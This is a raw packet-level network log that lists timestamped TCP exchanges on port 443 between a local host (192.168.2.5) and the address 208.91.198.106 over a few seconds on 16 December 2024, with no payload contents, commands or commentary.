Dec 16, 2024 15:18:07.567740917 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.572664976 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.572741985 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.572752953 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.573658943 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.576955080 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.577027082 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.577039003 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.580867052 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.580943108 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.580956936 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.581007957 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.586148977 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.586226940 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.586239100 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.588664055 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.590209007 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.590312958 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.590323925 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.590604067 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.594329119 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.594419003 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.594432116 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.594654083 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.598985910 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.599087954 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.599137068 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.599397898 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.604172945 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.604271889 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.604293108 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.606658936 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.608872890 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.608957052 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.608971119 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.609654903 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.612405062 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.612479925 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.612493992 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.612610102 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.617862940 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.617949963 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.617976904 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.618664026 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.621776104 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.621864080 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.621881962 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.624659061 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.625545979 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.625637054 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.625668049 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.630640984 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.749083996 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.749165058 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.749193907 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.749243021 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.750976086 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.751030922 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.751049042 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.751075029 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.751116991 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.759371996 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.759399891 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:09.158780098 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:09.158880949 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:09.159240007 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:09.167953014 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:09.167985916 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:10.488975048 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:10.489088058 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:10.490605116 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:10.490659952 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:10.491540909 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:10.498929977 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:10.543338060 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:10.990636110 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:10.990705967 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:10.990783930 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:10.990844965 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:11.042104959 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:11.062153101 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:11.062172890 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:11.062237024 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:11.062279940 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:11.190448999 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:11.190462112 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:11.190535069 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:11.213124990 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:11.213212967 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:11.234042883 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:11.234128952 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:11.257498980 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:11.257697105 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:11.367175102 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:11.367360115 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:11.384047031 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:11.384149075 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:11.403858900 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:11.404059887 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:11.418663979 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:11.418746948 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:11.429667950 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:11.429749966 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:11.438704014 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:11.438827038 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:11.450647116 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:11.450728893 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:11.490722895 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:11.490849972 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:11.494097948 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:11.494168997 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:11.695158958 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:11.695173979 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.071697950 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.071729898 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.071841002 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.071876049 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.077095032 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.077173948 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.077189922 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.082379103 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.082458019 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.082470894 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.089469910 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.089525938 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.089530945 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.089560032 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.094804049 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.094872952 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.094878912 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.100301027 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.100358963 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.100363970 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.107451916 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.107508898 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.107513905 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.111949921 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.112015963 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.112020969 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.118964911 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.119052887 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.119072914 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.124310017 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.124376059 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.124388933 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.129671097 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.129730940 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.129744053 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.135004997 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.135082006 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.135094881 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.182579041 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.189927101 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.189945936 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.189989090 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.190040112 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.261626959 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.261651993 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.261723042 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.261765957 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.267929077 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.267950058 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.268012047 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.272902966 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.272989035 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.278048992 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.278134108 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.284320116 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.284420967 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.289391041 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.289489031 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.294394970 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.294480085 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.299225092 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.299299002 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.305646896 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.305718899 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.311742067 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.311810017 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.314186096 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.314256907 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.317429066 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.317512989 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.320488930 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.320560932 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.320616007 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.324948072 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.325027943 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.327502966 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.327589035 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.330615044 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.330693007 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.453279018 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.453365088 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.456899881 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.456970930 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.459768057 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.459841013 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.462714911 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.462794065 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.465429068 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.465500116 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.469063997 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.469136000 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.471884966 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.471955061 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.474773884 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.474859953 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.478461027 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.478537083 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.481064081 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.481137037 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.484505892 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.484577894 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.487458944 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.487548113 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.490571976 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.490644932 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.493233919 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.493310928 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.496721983 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.496783018 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.499614000 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.499681950 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.656125069 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.656218052 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.659786940 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.659857035 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.662405014 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.662478924 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.665278912 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.665360928 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.668955088 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.669025898 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.671804905 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.671875000 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.674720049 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.674810886 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.677340031 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.677418947 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.681083918 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.681164980 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.684046984 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.684112072 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.684160948 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.687140942 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.687211990 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.689960957 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.690030098 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.692840099 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.692910910 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.696489096 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.696552038 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.699357033 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.699429035 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.702567101 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.702634096 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.851763964 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.851849079 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.853636026 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.853718996 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.857254982 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.857336998 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.860136032 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.860218048 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.862982988 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.863064051 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.865875959 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.865957975 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.869575024 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.869713068 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.872457027 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.872551918 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.875570059 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.875694036 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.878798008 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.878989935 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.881320000 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.881494045 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.884876966 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.885322094 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.887712955 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.889643908 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.890690088 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.890830994 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.893469095 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.893672943 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.897111893 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.897300005 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:12.900609970 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:12.900799036 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.041743994 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.041884899 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.044598103 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.045032024 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.047530890 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.047847986 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.050304890 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.050461054 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.053985119 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.054208994 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.056719065 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.056987047 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.059756041 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.059941053 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.063373089 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.064058065 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.066024065 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.066231966 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.070046902 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.070188999 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.072419882 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.072560072 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.075170040 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.075392008 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.077930927 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.078098059 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.081513882 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.081640959 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.084367990 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.084547043 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.087169886 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.087363958 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.233103037 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.233778000 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.235632896 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.236654043 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.238451004 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.241519928 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.241573095 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.241599083 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.241641045 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.243768930 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.244921923 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.245651960 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.247792959 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.248661041 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.250610113 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.253326893 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.253385067 CET	49708	443	192.168.2.5	208.91.198.106
